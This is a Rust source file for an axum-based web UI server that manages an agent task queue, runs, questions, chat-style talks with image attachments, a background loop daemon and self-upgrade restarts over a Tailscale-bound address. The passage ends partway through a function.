1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{daemon, git, report, repos, run, talk, updater};
125
126pub const DEFAULT_PORT: u16 = 7878;
128
129const POLL: Duration = Duration::from_secs(1);
131
132const KEEPALIVE: Duration = Duration::from_secs(15);
136
137const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
148
149const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
152
153const LIST_DEFAULT: usize = 50;
157const LIST_MAX: usize = 500;
159
160const TITLE_MAX: usize = 72;
162
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
172
173const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
179
180const FILENAME_HEADER: &str = "x-filename";
184
185const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
208 font-src data:; base-uri 'none'; form-action 'none'; \
209 frame-ancestors 'self'";
210
211const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
212const APP_CSS: &str = include_str!("../assets/ui/app.css");
213const APP_JS: &str = include_str!("../assets/ui/app.js");
214
215#[derive(Debug, Clone, Copy, PartialEq, Eq)]
217pub enum Bind {
218 Auto,
220 Addr(IpAddr),
222}
223
224impl std::str::FromStr for Bind {
225 type Err = String;
226
227 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
231 if s.eq_ignore_ascii_case("auto") {
232 return Ok(Self::Auto);
233 }
234 s.parse()
235 .map(Self::Addr)
236 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
237 }
238}
239
240impl std::fmt::Display for Bind {
241 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
242 match self {
243 Self::Auto => f.write_str("auto"),
244 Self::Addr(addr) => write!(f, "{addr}"),
245 }
246 }
247}
248
249#[derive(Debug, Clone)]
251pub struct Opts {
252 pub bind: Bind,
254 pub port: u16,
256 pub repo: PathBuf,
258 pub open: bool,
261 pub merge: Option<String>,
269}
270
271impl Default for Opts {
272 fn default() -> Self {
273 Self {
274 bind: Bind::Auto,
275 port: DEFAULT_PORT,
276 repo: PathBuf::from("."),
277 open: false,
278 merge: None,
279 }
280 }
281}
282
283#[derive(Debug, Clone)]
289pub struct Ui {
290 queue: Queue,
291 questions: Questions,
292 talks: Talks,
293 runs: PathBuf,
294 home: PathBuf,
295 repo: PathBuf,
296 worktrees_root: PathBuf,
303 talk_turns: Arc<Mutex<TalkTurns>>,
311 resuming: Arc<Mutex<HashSet<String>>>,
319 repos_cache: repos::Cache,
323 merge: Option<String>,
325 looping: Arc<Mutex<LoopState>>,
327 launch: Launch,
339 #[cfg(test)]
342 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
343}
344
345#[cfg(test)]
365struct BusyQueueGate {
366 reached: tokio::sync::oneshot::Sender<()>,
367 release: std::sync::mpsc::Receiver<()>,
368}
369
370#[cfg(test)]
371impl std::fmt::Debug for BusyQueueGate {
372 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
373 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
374 }
375}
376
377impl Ui {
378 pub fn new(
380 queue: Queue,
381 questions: Questions,
382 talks: Talks,
383 runs: PathBuf,
384 home: PathBuf,
385 repo: PathBuf,
386 ) -> Self {
387 Self {
388 queue,
389 questions,
390 talks,
391 runs,
392 home,
393 repo,
394 worktrees_root: run::default_worktree_root(),
398 talk_turns: Arc::default(),
399 resuming: Arc::default(),
400 repos_cache: repos::Cache::new(),
401 merge: None,
402 looping: Arc::default(),
403 launch: launch_daemon,
404 #[cfg(test)]
405 busy_queue_gate: Arc::default(),
406 }
407 }
408
409 pub fn open(repo: PathBuf) -> Self {
412 Self::new(
413 Queue::open(),
414 Questions::open(),
415 Talks::open(),
416 run::runs_root(),
417 run::home(),
418 repo,
419 )
420 }
421
422 #[must_use]
429 pub fn with_merge(mut self, merge: Option<String>) -> Self {
430 self.merge = merge;
431 self
432 }
433
434 #[must_use]
439 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
440 self.worktrees_root = root;
441 self
442 }
443
444 #[cfg(test)]
449 #[must_use]
450 fn with_launch(mut self, launch: Launch) -> Self {
451 self.launch = launch;
452 self
453 }
454
455 #[cfg(test)]
465 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
466 *self
467 .busy_queue_gate
468 .lock()
469 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
470 }
471
472 fn looping(&self) -> Arc<Mutex<LoopState>> {
474 Arc::clone(&self.looping)
475 }
476
477 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
484 if let Some(other) = foreign {
485 return Err(ApiError::conflict(format!(
486 "{} is already running the loop, so this one will not start a \
487 second: two loops on one queue race for the same claims and \
488 burn the agent quota twice over. Stop it where it was \
489 started.",
490 other.who()
491 )));
492 }
493 let mut state = self.lock_loop();
494 if state.live.as_ref().is_some_and(Live::alive) {
495 return Err(ApiError::conflict(format!(
496 "this magi web process (pid {}) is already running the loop",
497 std::process::id()
498 )));
499 }
500
501 let stop = daemon::Stop::new();
502 let opts = daemon::Opts {
506 repo: self.repo.clone(),
507 merge: self.merge.clone(),
508 worktrees_root: Some(self.worktrees_root.clone()),
515 ..daemon::Opts::default()
516 };
517 let launch = self.launch;
518 let looping = Arc::clone(&self.looping);
519 let handle = tokio::spawn({
520 let opts = opts.clone();
521 let stop = stop.clone();
522 async move {
523 let failure = match launch(opts, stop).await {
524 Ok(()) => None,
525 Err(e) => Some(format!("{e:#}")),
526 };
527 match &failure {
528 Some(why) => tracing::error!("the loop stopped: {why}"),
529 None => tracing::info!("the loop stopped"),
530 }
531 let mut state = lock_or_recover(&looping);
537 state.live = None;
538 state.last_error = failure;
539 state.rev += 1;
540 }
541 });
542 tracing::info!(
543 "the loop is now running in this process: repo {}, merge {}",
544 opts.repo.display(),
545 opts.merge.as_deref().unwrap_or("as the config says")
546 );
547 state.live = Some(Live { stop, handle, opts });
548 state.last_error = None;
551 state.rev += 1;
552 Ok(())
553 }
554
555 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
561 if let Some(other) = foreign {
562 return Err(ApiError::conflict(format!(
563 "the loop belongs to {}, and this process cannot stop it - \
564 stop it where it was started. A button that silently did \
565 nothing would be worse than this refusal.",
566 other.who()
567 )));
568 }
569 let mut state = self.lock_loop();
570 let Some(live) = state.live.as_ref() else {
571 return Ok(());
572 };
573 if live.stop.stopped() && (!park || live.stop.parking()) {
577 return Ok(());
578 }
579 if park {
580 live.stop.park();
581 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
582 } else {
583 live.stop.stop();
584 tracing::info!("the loop was asked to stop; a run in flight is finished first");
585 }
586 state.rev += 1;
587 Ok(())
588 }
589
590 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
597 let state = self.lock_loop();
598 let live = state.live.as_ref().filter(|live| live.alive());
601 LoopView {
602 running: live.is_some(),
603 stopping: live.is_some_and(|live| live.stop.finishing()),
604 parking: live.is_some_and(|live| live.stop.parking()),
605 owned: live.is_some(),
606 repo: live
607 .map_or(&self.repo, |live| &live.opts.repo)
608 .display()
609 .to_string(),
610 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
611 last_error: state.last_error.clone(),
612 daemon: DaemonView::of(reading),
613 }
614 }
615
616 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
618 lock_or_recover(&self.looping)
619 }
620
621 fn is_thinking(&self, id: &str) -> bool {
627 self.talk_turns
628 .lock()
629 .is_ok_and(|turns| turns.live.contains(id))
630 }
631
632 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
651 self.claim_talk_turn(id, false)
652 }
653
654 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
657 self.claim_talk_turn(id, true)
658 }
659
660 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
661 let mut live = self
662 .talk_turns
663 .lock()
664 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
665 if !live.live.insert(id.to_owned()) {
666 if queued {
667 *live.queued.entry(id.to_owned()).or_default() += 1;
672 }
673 return Ok(None);
674 }
675 Ok(Some(TalkTurnGuard {
676 talk: id.to_owned(),
677 turns: Arc::clone(&self.talk_turns),
678 released: false,
679 }))
680 }
681
682 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
687 let mut live = self
688 .talk_turns
689 .lock()
690 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
691 if live.live.contains(id) {
692 return Ok(TalkTurnStart::Busy);
693 }
694 let talk = self.talks.get(id).map_err(ApiError::from)?;
695 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
696 return Ok(TalkTurnStart::Pending);
697 }
698 live.live.insert(id.to_owned());
699 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
700 talk: id.to_owned(),
701 turns: Arc::clone(&self.talk_turns),
702 released: false,
703 }))
704 }
705
706 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
713 let parking = {
714 let mut state = self.lock_loop();
715 let Some(live) = state.live.as_ref() else {
716 return Ok(None);
717 };
718 let busy = live.stop.busy_now();
719 live.stop.park();
720 state.rev += 1;
721 busy
722 };
723 Ok(if parking {
724 daemon::current_work(&self.home, jiff::Timestamp::now())
729 .into_iter()
730 .next()
731 .map(|c| c.run)
732 } else {
733 None
734 })
735 }
736
737 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
741 let mut live = self
742 .resuming
743 .lock()
744 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
745 if !live.insert(id.to_owned()) {
746 return Err(ApiError::conflict(format!(
747 "run {id} is already being resumed"
748 )));
749 }
750 Ok(ResumeGuard {
751 run: id.to_owned(),
752 resuming: Arc::clone(&self.resuming),
753 })
754 }
755
756 pub fn router(self) -> Router {
764 Router::new()
765 .route("/", get(index))
766 .route("/app.css", get(app_css))
767 .route("/app.js", get(app_js))
768 .route("/api/health", get(health))
769 .route("/api/loop", get(loop_get).post(loop_post))
770 .route("/api/upgrade", post(upgrade_post))
771 .route("/api/runs", get(runs_list))
772 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
773 .route("/api/runs/{id}/report", get(run_report))
774 .route("/api/runs/{id}/fold", post(run_fold))
775 .route("/api/runs/{id}/resume", post(run_resume))
776 .route("/api/queue", get(queue_list))
777 .route("/api/queue/{id}", delete(queue_delete))
778 .route("/api/repos", get(repos_list))
779 .route("/api/queue/{id}/hold", post(queue_hold))
780 .route("/api/queue/{id}/release", post(queue_release))
781 .route("/api/queue/{id}/priority", post(queue_priority))
782 .route("/api/queue/{id}/edit", post(queue_edit))
783 .route("/api/queue/{id}/done", post(queue_done))
784 .route("/api/questions", get(questions_list))
785 .route("/api/questions/{id}/answer", post(question_answer))
786 .route("/api/questions/{id}/say", post(question_say))
787 .route("/api/questions/{id}/panel", get(question_panel))
788 .route("/api/questions/{id}/panel/index.html", get(question_panel))
796 .route("/api/questions/{id}/panel/{name}", get(question_asset))
797 .route("/api/questions/{id}/asset/{name}", get(question_asset))
798 .route("/api/talks", get(talks_list).post(talk_post))
799 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
800 .route("/api/talks/{id}/say", post(talk_say))
801 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
802 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
803 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
804 .route("/api/talks/{id}/close", post(talk_close))
805 .route("/api/talks/{id}/reopen", post(talk_reopen))
806 .route(
812 "/api/talks/{id}/attachments",
813 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
814 )
815 .route(
816 "/api/talks/{id}/attachments/{att}",
817 get(talk_attachment_get),
818 )
819 .route("/api/events", get(events))
820 .with_state(Arc::new(self))
821 }
822}
823
824#[derive(Debug)]
830struct TalkTurnGuard {
831 talk: String,
832 turns: Arc<Mutex<TalkTurns>>,
833 released: bool,
834}
835
836#[derive(Debug, Default)]
843struct TalkTurns {
844 live: HashSet<String>,
845 queued: HashMap<String, u64>,
846}
847
848enum TalkTurnStart {
851 Claimed(TalkTurnGuard),
852 Busy,
853 Pending,
854}
855
856impl TalkTurnGuard {
857 fn release(mut self, live: &mut TalkTurns) {
860 live.live.remove(&self.talk);
861 live.queued.remove(&self.talk);
862 self.released = true;
863 }
864}
865
866impl Drop for TalkTurnGuard {
867 fn drop(&mut self) {
868 if self.released {
869 return;
870 }
871 if let Ok(mut live) = self.turns.lock() {
872 live.live.remove(&self.talk);
873 live.queued.remove(&self.talk);
874 }
875 }
876}
877
878struct ResumeGuard {
880 run: String,
881 resuming: Arc<Mutex<HashSet<String>>>,
882}
883
884impl Drop for ResumeGuard {
885 fn drop(&mut self) {
886 if let Ok(mut live) = self.resuming.lock() {
887 live.remove(&self.run);
888 }
889 }
890}
891
892async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
902 const WINDOW: Duration = Duration::from_secs(10);
903 const GAP: Duration = Duration::from_millis(250);
904
905 let deadline = std::time::Instant::now() + WINDOW;
906 let mut said = false;
907 loop {
908 match tokio::net::TcpListener::bind(socket).await {
909 Ok(listener) => return Ok(listener),
910 Err(e)
911 if e.kind() == std::io::ErrorKind::AddrInUse
912 && std::time::Instant::now() < deadline =>
913 {
914 if !said {
915 said = true;
916 tracing::info!(
917 "{socket} is still held - waiting up to {}s for it, \
918 which is what a restart looks like from here",
919 WINDOW.as_secs()
920 );
921 }
922 tokio::time::sleep(GAP).await;
923 }
924 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
925 }
926 }
927}
928
929static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
932
933fn spawn_successor() -> Result<()> {
945 let exe = std::env::current_exe().context("find this binary")?;
946 let args: Vec<String> = std::env::args().skip(1).collect();
947 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
948
949 let mut cmd = std::process::Command::new(&exe);
950 cmd.args(&args)
951 .stdin(std::process::Stdio::null())
952 .stdout(std::process::Stdio::null())
953 .stderr(std::process::Stdio::null());
954 #[cfg(windows)]
955 {
956 use std::os::windows::process::CommandExt as _;
957 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
960 }
961 cmd.spawn().context("start the successor")?;
962 Ok(())
963}
964
965pub async fn serve(opts: Opts) -> Result<()> {
990 let (addr, warning) = resolve_bind(&opts.bind);
991 if let Some(warning) = warning {
992 tracing::warn!("{warning}");
993 }
994
995 report::set_color(false);
1001
1002 let repo = normalize_default_repo(opts.repo).await;
1003 let ui = Ui::open(repo).with_merge(opts.merge);
1004 let home = ui.home.clone();
1009 let repo = ui.repo.clone();
1010 updater::reconcile_after_restart(&home);
1015 tokio::spawn(run_update_recheck(repo, home.clone()));
1024 let looping = ui.looping();
1025 let socket = SocketAddr::new(addr, opts.port);
1026 let listener = bind_waiting(socket).await?;
1027 let url = format!("http://{addr}:{}", opts.port);
1028 tracing::info!(
1029 "magi web UI on {url} - there is no authentication, so anyone who can \
1030 reach this address can file and hold tasks: the tailnet is the \
1031 security boundary"
1032 );
1033 tracing::info!(
1034 "the queue loop is not running yet - start it from the UI, which is \
1035 the whole reason this process can: nothing in the queue moves until \
1036 something is running the loop"
1037 );
1038 if opts.open {
1039 println!("{url}");
1043 }
1044
1045 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1048 let interrupted = async {
1049 if tokio::signal::ctrl_c().await.is_err() {
1050 std::future::pending::<()>().await;
1055 }
1056 };
1057 let handover = HANDOVER.notified();
1058 tokio::select! {
1059 joined = &mut served => match joined {
1060 Ok(outcome) => outcome.context("serve the web UI"),
1061 Err(e) => Err(e).context("the task serving the web UI ended"),
1062 },
1063 () = interrupted => {
1064 tracing::info!("shutting down the web UI");
1065 finish_loop(&looping).await;
1066 Ok(())
1067 }
1068 () = handover => {
1069 tracing::info!("upgraded - handing this address to the successor");
1070 hand_over(&home, &looping, served, spawn_successor).await
1071 }
1072 }
1073}
1074
1075async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1096 if repo != FsPath::new(".") {
1097 return repo;
1098 }
1099 let Ok(canonical) = repo.canonicalize() else {
1100 return repo;
1101 };
1102 if git::toplevel(&canonical).await.is_ok() {
1103 return repo;
1104 }
1105 let Some(home) = dirs::home_dir() else {
1106 return repo;
1107 };
1108 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1109 Some(found) => {
1110 tracing::info!(
1111 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1112 canonical.display(),
1113 found.path.display(),
1114 found.reason,
1115 );
1116 found.path
1117 }
1118 None => repo,
1119 }
1120}
1121
1122async fn hand_over(
1152 home: &FsPath,
1153 looping: &Mutex<LoopState>,
1154 served: tokio::task::JoinHandle<std::io::Result<()>>,
1155 successor: impl FnOnce() -> Result<()>,
1156) -> Result<()> {
1157 if let Some(mut progress) = updater::read_progress(home) {
1158 progress.advance(updater::Stage::Parking);
1159 let _ = updater::write_progress(home, &progress);
1160 }
1161 finish_loop(looping).await;
1162 served.abort();
1163 let _ = served.await;
1164 if let Some(mut progress) = updater::read_progress(home) {
1165 progress.advance(updater::Stage::Restarting);
1166 let _ = updater::write_progress(home, &progress);
1167 }
1168 successor()
1169}
1170
1171async fn finish_loop(state: &Mutex<LoopState>) {
1178 let live = lock_or_recover(state).live.take();
1179 let Some(live) = live else { return };
1180 live.stop.stop();
1181 lock_or_recover(state).rev += 1;
1182 tracing::info!("waiting for the loop to finish the run in flight");
1183 let _ = live.handle.await;
1186}
1187
1188pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1194 match bind {
1195 Bind::Addr(addr) => (*addr, None),
1196 Bind::Auto => match tailscale_ip() {
1197 Ok(ip) => (IpAddr::V4(ip), None),
1198 Err(why) => (
1199 IpAddr::V4(Ipv4Addr::LOCALHOST),
1200 Some(format!(
1201 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1202 local-only and a phone cannot reach it; start Tailscale \
1203 or pass --bind <addr>"
1204 )),
1205 ),
1206 },
1207 }
1208}
1209
1210fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1218 let out = std::process::Command::new("tailscale")
1219 .args(["ip", "-4"])
1220 .quiet()
1221 .output()
1222 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1223 if !out.status.success() {
1224 let why = String::from_utf8_lossy(&out.stderr);
1225 let why = why.trim();
1226 return Err(format!(
1227 "`tailscale ip -4` failed ({}){}",
1228 out.status,
1229 if why.is_empty() {
1230 String::new()
1231 } else {
1232 format!(": {why}")
1233 }
1234 ));
1235 }
1236 String::from_utf8_lossy(&out.stdout)
1237 .lines()
1238 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1239 .find(is_tailnet)
1240 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1241}
1242
1243fn is_tailnet(ip: &Ipv4Addr) -> bool {
1245 let o = ip.octets();
1246 o[0] == 100 && (64..=127).contains(&o[1])
1247}
1248
1249type ApiResult<T> = std::result::Result<T, ApiError>;
1253
1254#[derive(Debug)]
1256struct ApiError {
1257 status: StatusCode,
1258 message: String,
1259}
1260
1261impl ApiError {
1262 fn bad_request(message: impl Into<String>) -> Self {
1264 Self {
1265 status: StatusCode::BAD_REQUEST,
1266 message: message.into(),
1267 }
1268 }
1269
1270 fn not_found(message: impl Into<String>) -> Self {
1272 Self {
1273 status: StatusCode::NOT_FOUND,
1274 message: message.into(),
1275 }
1276 }
1277
1278 fn with_status(mut self, status: StatusCode) -> Self {
1281 self.status = status;
1282 self
1283 }
1284
1285 fn bad_request_from(e: anyhow::Error) -> Self {
1289 Self::bad_request(format!("{e:#}"))
1290 }
1291
1292 fn conflict(message: impl Into<String>) -> Self {
1293 Self {
1294 status: StatusCode::CONFLICT,
1295 message: message.into(),
1296 }
1297 }
1298
1299 fn internal(message: impl Into<String>) -> Self {
1301 Self {
1302 status: StatusCode::INTERNAL_SERVER_ERROR,
1303 message: message.into(),
1304 }
1305 }
1306}
1307
1308impl From<anyhow::Error> for ApiError {
1309 fn from(e: anyhow::Error) -> Self {
1314 Self::internal(format!("{e:#}"))
1315 }
1316}
1317
1318impl IntoResponse for ApiError {
1319 fn into_response(self) -> Response {
1320 let body = serde_json::json!({ "error": self.message });
1321 (self.status, Json(body)).into_response()
1322 }
1323}
1324
1325async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1334where
1335 T: Send + 'static,
1336{
1337 match tokio::task::spawn_blocking(job).await {
1338 Ok(result) => result,
1339 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1340 }
1341}
1342
1343const ASSET_CACHE: &str = "no-cache, must-revalidate";
1361
1362fn asset_etag() -> &'static str {
1369 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1370 format!(
1371 "\"{}-{}\"",
1372 env!("CARGO_PKG_VERSION"),
1373 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1378 )
1379 });
1380 &TAG
1381}
1382
1383fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1385 [
1386 (header::CONTENT_TYPE, mime),
1387 (header::CACHE_CONTROL, ASSET_CACHE),
1388 (header::ETAG, asset_etag()),
1389 ]
1390}
1391
1392fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1400 let tag = asset_etag();
1401 let known = headers
1402 .get(header::IF_NONE_MATCH)
1403 .and_then(|v| v.to_str().ok())
1404 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1408 if known {
1409 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1410 }
1411 (asset_headers(mime), body).into_response()
1412}
1413
1414async fn index(headers: header::HeaderMap) -> Response {
1415 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1416}
1417
1418async fn app_css(headers: header::HeaderMap) -> Response {
1419 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1420}
1421
1422async fn app_js(headers: header::HeaderMap) -> Response {
1423 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1424}
1425
1426#[derive(Debug, Serialize)]
1428struct HealthView {
1429 version: &'static str,
1430 home: String,
1431 queue_rev: u64,
1432 runs_rev: u64,
1433 questions_rev: u64,
1445 talks_rev: u64,
1447 loop_rev: u64,
1452 runs_unreadable: usize,
1460 disk: DiskView,
1468 questions_open: usize,
1474 questions_needs_owner: usize,
1484 daemon: DaemonView,
1485 #[serde(rename = "loop")]
1491 looping: LoopView,
1492 update: UpdateView,
1499 upgrade: Option<UpgradeProgressView>,
1503}
1504
1505#[derive(Debug, Serialize)]
1512struct UpdateView {
1513 available: bool,
1515 to: Option<String>,
1517}
1518
1519#[derive(Debug, Serialize)]
1521struct UpgradeProgressView {
1522 stage: updater::Stage,
1523 from: String,
1524 to: Option<String>,
1525 waiting_on: Option<String>,
1528 started_at: Timestamp,
1529 updated_at: Timestamp,
1530 detail: Option<String>,
1531}
1532
1533fn should_spawn_recheck(cfg: &Update) -> bool {
1540 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1541}
1542
1543fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1555 if progress.is_some_and(|p| !p.stage.terminal()) {
1556 return false;
1557 }
1558 checker.should_check()
1559}
1560
1561fn recheck_poll_period(cfg: &Update) -> Duration {
1574 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1575}
1576
1577async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1601 loop {
1602 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1603 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1604 if !should_spawn_recheck(&cfg.update) {
1605 continue;
1606 }
1607 let Some(checker) = updater::Checker::new(&cfg.update) else {
1608 continue;
1609 };
1610 let progress = updater::read_progress(&home);
1611 if !update_recheck_due(&checker, progress.as_ref()) {
1612 continue;
1613 }
1614 if let Err(e) = checker.newer_release().await {
1615 tracing::warn!("background update recheck failed: {e:#}");
1616 }
1617 }
1618}
1619
1620fn cached_update_view(repo: &FsPath) -> UpdateView {
1626 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1627 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1628 match latest {
1629 Some(latest) => UpdateView {
1630 available: true,
1631 to: Some(latest.tag_name),
1632 },
1633 None => UpdateView {
1634 available: false,
1635 to: None,
1636 },
1637 }
1638}
1639
1640fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1646 let waiting_on = (progress.stage == updater::Stage::Parking)
1647 .then_some(progress.parked_run.as_deref())
1648 .flatten()
1649 .and_then(|id| read_run(&ui.runs, id).ok())
1650 .map(|run| {
1651 format!(
1652 "run {} is finishing {} before the address is handed over",
1653 run.short(),
1654 run.status.as_str()
1655 )
1656 });
1657 UpgradeProgressView {
1658 stage: progress.stage,
1659 from: progress.from,
1660 to: progress.to,
1661 waiting_on,
1662 started_at: progress.started_at,
1663 updated_at: progress.updated_at,
1664 detail: progress.detail,
1665 }
1666}
1667
1668#[derive(Debug, Serialize)]
1673struct DiskView {
1674 #[serde(skip_serializing_if = "Option::is_none")]
1676 free_bytes: Option<u64>,
1677 runs_bytes: u64,
1679 worktrees_bytes: u64,
1681 #[serde(skip_serializing_if = "Option::is_none")]
1683 cache_bytes: Option<u64>,
1684}
1685
1686impl DiskView {
1687 fn of(ui: &Ui) -> Self {
1689 let cache_bytes = Config::discover(&ui.repo, None)
1690 .ok()
1691 .and_then(|(cfg, _)| cfg.cache_dir())
1692 .map(|dir| crate::disk::dir_size(&dir));
1693 Self {
1694 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1695 runs_bytes: crate::disk::dir_size(&ui.runs),
1696 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1697 cache_bytes,
1698 }
1699 }
1700}
1701
1702#[derive(Debug, Serialize)]
1704struct DaemonView {
1705 running: bool,
1706 idle: Option<bool>,
1707 pid: Option<u32>,
1708 current: Vec<daemon::Current>,
1712 completed: Option<u64>,
1713 stale_for_secs: Option<i64>,
1714}
1715
1716impl DaemonView {
1717 fn of(status: Option<daemon::Reading>) -> Self {
1721 let Some(status) = status else {
1722 return Self {
1723 running: false,
1724 idle: None,
1725 pid: None,
1726 current: Vec::new(),
1727 completed: None,
1728 stale_for_secs: None,
1729 };
1730 };
1731 let now = Timestamp::now();
1732 let age = status.age_secs(now);
1733 Self {
1734 running: status.running(now),
1735 idle: Some(status.idle),
1736 pid: status.pid,
1737 current: status.current,
1738 completed: Some(status.completed),
1739 stale_for_secs: age,
1740 }
1741 }
1742}
1743
1744async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1745 blocking(move || {
1746 let reading = daemon::read_status(&ui.home);
1750 let loop_rev = ui.lock_loop().rev;
1754 let update = cached_update_view(&ui.repo);
1755 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1756 Ok(Json(HealthView {
1757 version: env!("CARGO_PKG_VERSION"),
1758 home: ui.home.display().to_string(),
1759 queue_rev: ui.queue.revision(),
1760 runs_rev: runs_revision(&ui.runs),
1761 questions_rev: ui.questions.revision(),
1762 talks_rev: ui.talks.revision(),
1763 loop_rev,
1764 runs_unreadable: runs_unreadable(&ui.runs),
1765 questions_open: ui.questions.count_open(),
1766 questions_needs_owner: ui.questions.count_needs_owner(),
1767 daemon: DaemonView::of(reading.clone()),
1768 looping: ui.loop_view(reading),
1769 disk: DiskView::of(&ui),
1770 update,
1771 upgrade,
1772 }))
1773 })
1774 .await
1775}
1776
1777#[derive(Debug, Serialize)]
1779struct LoopView {
1780 running: bool,
1782 stopping: bool,
1790 parking: bool,
1798 owned: bool,
1806 repo: String,
1809 merge: Option<String>,
1812 last_error: Option<String>,
1820 daemon: DaemonView,
1823}
1824
1825#[derive(Debug, Clone, Copy)]
1834struct Foreign {
1835 pid: Option<u32>,
1837}
1838
1839impl Foreign {
1840 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1843 let reading = reading?;
1844 if !reading.running(Timestamp::now()) {
1845 return None;
1846 }
1847 match reading.pid {
1848 Some(pid) if pid == std::process::id() => None,
1849 pid => Some(Self { pid }),
1853 }
1854 }
1855
1856 fn who(&self) -> String {
1859 match self.pid {
